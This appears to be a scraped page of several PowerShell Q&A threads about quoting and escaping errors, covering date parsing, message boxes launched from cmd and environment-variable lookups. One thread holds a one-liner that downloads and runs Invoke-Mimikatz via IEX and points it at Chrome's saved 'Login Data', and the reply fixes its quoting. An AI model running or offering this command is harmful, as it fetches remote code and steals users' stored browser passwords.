I get the below time stamp from API response how do i convert this to human readable text in power shell, i tried below but it is throwing error.
PS C:\Users\foobar\ddd> [datetime]::ParseExact('20100804T104413+0100','
yyyyMMdd'T'HHmmsszzz',[System.Globalization.CultureInfo]::InvariantCulture)
At line:1 char:57
+ [datetime]::ParseExact('20100804T104413+0100','yyyyMMdd'T'HHmmsszzz', ...
+ ~
Missing ')' in method call.
At line:1 char:57
+ ... me]::ParseExact('20100804T104413+0100','yyyyMMdd'T'HHmmsszzz',[System ...
+ ~~~~~~~~~~~~
Unexpected token 'T'HHmmsszzz'' in expression or statement.
At line:1 char:69
+ ... e]::ParseExact('20100804T104413+0100','yyyyMMdd'T'HHmmsszzz',[System. ...
+ ~
Missing argument in parameter list.
At line:1 char:122
+ ... dd'T'HHmmsszzz',[System.Globalization.CultureInfo]::InvariantCulture)
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : MissingEndParenthesisInMethodCall
20170125T153341-050020170125T153344-0500
Your only problem seems to be the errant (lack of) quoting of T in your code; removing it seems to work fine:
[datetime]::ParseExact('20100804T104413+0100','yyyyMMddTHHmmsszzz', $null)
Also, since you're providing a format string in which all characters are specified individually and numerically, you needn't specify a culture (passing $null, which defaults to the current culture, will do).
Related
This question already has an answer here:
Powershell in Jenkins escaping characters for path
(1 answer)
Closed 1 year ago.
Why in mimikatz/kiwi cannot process first space when opening chrome database "Login Data" ?
Example:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:\"%localappdata%\Google\Chrome\User Data\Default\Login Data\""
Error:
Invoke-Mimikatz : A positional parameter cannot be found that accepts argument 'Data\Default\Login'.
At line:1 char:146
+ ... katz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:\"%localappda ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Invoke-Mimikatz], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Invoke-Mimikatz
enter code here
I will be very happy if someone helps, I have already tried all.
You need to escape the " inside the string argument by doubling them ("") or prefixing them with a single ` (PowerShell doesn't care about \):
"dpapi::chrome /in:""%localappdata%\Google\Chrome\User Data\Default\Login Data"""
# or
"dpapi::chrome /in:`"%localappdata%\Google\Chrome\User Data\Default\Login Data`""
I am trying to install Sitecore 9 and I am receiving the following error:
Install-SitecoreConfiguration : Cannot bind argument to parameter 'Name' because it is an empty string.
At line:30 char:1
+ Install-SitecoreConfiguration #solrParams
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorException
+ FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Install-SitecoreConfiguration
[TIME] 00:00:00
Invoke-ManageServiceTask : Cannot bind argument to parameter 'Name' because it is an empty string.
At C:\Program Files\WindowsPowerShell\Modules\SitecoreInstallFramework\2.1.0\Public\Install-SitecoreConfiguration.ps1:641 char:47
+ & $entry.Task.Command #paramSet | Out-Default
+ ~~~~~~~~~
+ CategoryInfo : InvalidData: (:) [Invoke-ManageServiceTask], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ParameterArgumentValidationErrorEmptyStringNotAllowed,Invoke-ManageServiceTask
I had another few errors prior which I resolved. This one I am scratching my head at. I traced it back to the Install-SitecoreConfiguration file where the $entry is however I cannot understand what I am looking for as this is fully new to me. I deleted the certificates etc previously as that was causing another error.
Any additional questions are welcomed that I am provide more information to, right now I am unsure what more could be useful. I have attached picture as well.
How can I provide arguments to powershell.exe in order to spawn a message box? The key phrase here is arguments to powershell.exe, not from within a .ps1 script and also not from within the Powershell prompt itself. I currently have this but it is producing errors:
powershell.exe -Command "[System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms"); [System.Windows.Forms.MessageBox]::Show("Test!!!")"
I have also tried without -Command and with Invoke-Expression, with and without double quotes surrounding.
Errors created:
At line:1 char:51
+ [System.Reflection.Assembly]::LoadWithPartialName(System.Windows.Form ...
+ ~
Missing ')' in method call.
At line:1 char:51
+ ... eflection.Assembly]::LoadWithPartialName(System.Windows.Forms); [Syst ...
+ ~~~~~~~~~~~~~~~~~~~~
Unexpected token 'System.Windows.Forms' in expression or statement.
At line:1 char:71
+ ... flection.Assembly]::LoadWithPartialName(System.Windows.Forms); [Syste ...
+ ~
Unexpected token ')' in expression or statement.
At line:1 char:114
+ ... stem.Windows.Forms); [System.Windows.Forms.MessageBox]::Show(Test!!!)
+ ~
Missing ')' in method call.
At line:1 char:114
+ ... stem.Windows.Forms); [System.Windows.Forms.MessageBox]::Show(Test!!!)
+ ~~~~~~~
Unexpected token 'Test!!!' in expression or statement.
At line:1 char:121
+ ... stem.Windows.Forms); [System.Windows.Forms.MessageBox]::Show(Test!!!)
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : MissingEndParenthesisInMethodCall
This is a quotation problem. Using the same double quote " in both argument and its contents messes up the content. As a work-around, use single quotes within the Powershell command and double quotes around the whole -Command parameter. Like so,
powershell.exe -Command "[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('Test!!!')"
That being said, Add-Type -AssemblyName is IMAO prettier way to load assemblies. Like so,
powershell.exe -Command "add-type -assemblyname System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Test!!!')"
I have a batch file with lot of stuff. I there is one Alert Window with info for user.
On Windows Pro I'm using Msg command for it and it works fine.
On Windows Home there is no Msg, so I got the idea to use PowerShell instead:
[System.Windows.Forms.MessageBox]::Show("my text")
which works fine in PowerShell.
-However, when I try to use it in batch or execute it directly in Cmd, I only get the text:
C:\Windows\System32>powershell {[System.Windows.Forms.MessageBox]::Show("\""my text"\"")}
[System.Windows.Forms.MessageBox]::Show("my text")
Or I get errors:
C:\Windows\System32>powershell -command [System.Windows.Forms.MessageBox]::Show("my text")
At line:1 char:41
+ [System.Windows.Forms.MessageBox]::Show(my text)
+ ~
Missing ')' in method call.
At line:1 char:41
+ [System.Windows.Forms.MessageBox]::Show(my text)
+ ~~
Unexpected token 'my' in expression or statement.
At line:1 char:48
+ [System.Windows.Forms.MessageBox]::Show(my text)
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : MissingEndParenthesisInMethodCall
or
C:\Windows\System32>powershell -command "& {[System.Windows.Forms.MessageBox]::Show('my text')}"
Unable to find type [System.Windows.Forms.MessageBox].
At line:1 char:4
+ & {[System.Windows.Forms.MessageBox]::Show('my text')}
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (System.Windows.Forms.MessageBox:TypeName) [],
RuntimeException
+ FullyQualifiedErrorId : TypeNotFound
What should I do to get it to work?
(without rewriting the whole script to PowerShell, that is)
As TheMadTechnician stated, you may need to load it first.
This is effectively the same answer as theirs just over a couple of lines:
#Echo Off
PowerShell -Command^
"[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')|Out-Null;"^
"[System.Windows.Forms.MessageBox]::Show(\"my text\")"
Pause
…and whilst double quotes around my text is not necessary, I've used them to show you the escapes.
You need to load the type before you can invoke it. You can do this:
powershell -command "[reflection.assembly]::LoadWithPartialName('System.Windows.Forms')|out-null;[windows.forms.messagebox]::Show('my message')"
I have the name of an environment variable in a variable and I want to get the value. How do I do that? I've tried:
PS C:\Users\Joe> $v="USERDOMAIN"
PS C:\Users\Joe> "$env:$v"
At line:1 char:2
+ "$env:$v"
+ ~~~~~
Variable reference is not valid. ':' was not followed by a valid variable name character. Consider using ${} to
delimit the name.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : InvalidVariableReferenceWithDrive
PS C:\Users\Joe> "$env:$($v)"
At line:1 char:2
+ "$env:$($v)"
+ ~~~~~
Variable reference is not valid. ':' was not followed by a valid variable name character. Consider using ${} to
delimit the name.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : InvalidVariableReferenceWithDrive
Two lines
$v = "Path"
(get-item env:$v).Value
One line
iex ('$env:' + $x)
To complement Vladimir's helpful answer with a solution that makes direct use of the .NET framework:
$v="USERDOMAIN"
[Environment]::GetEnvironmentVariable($v)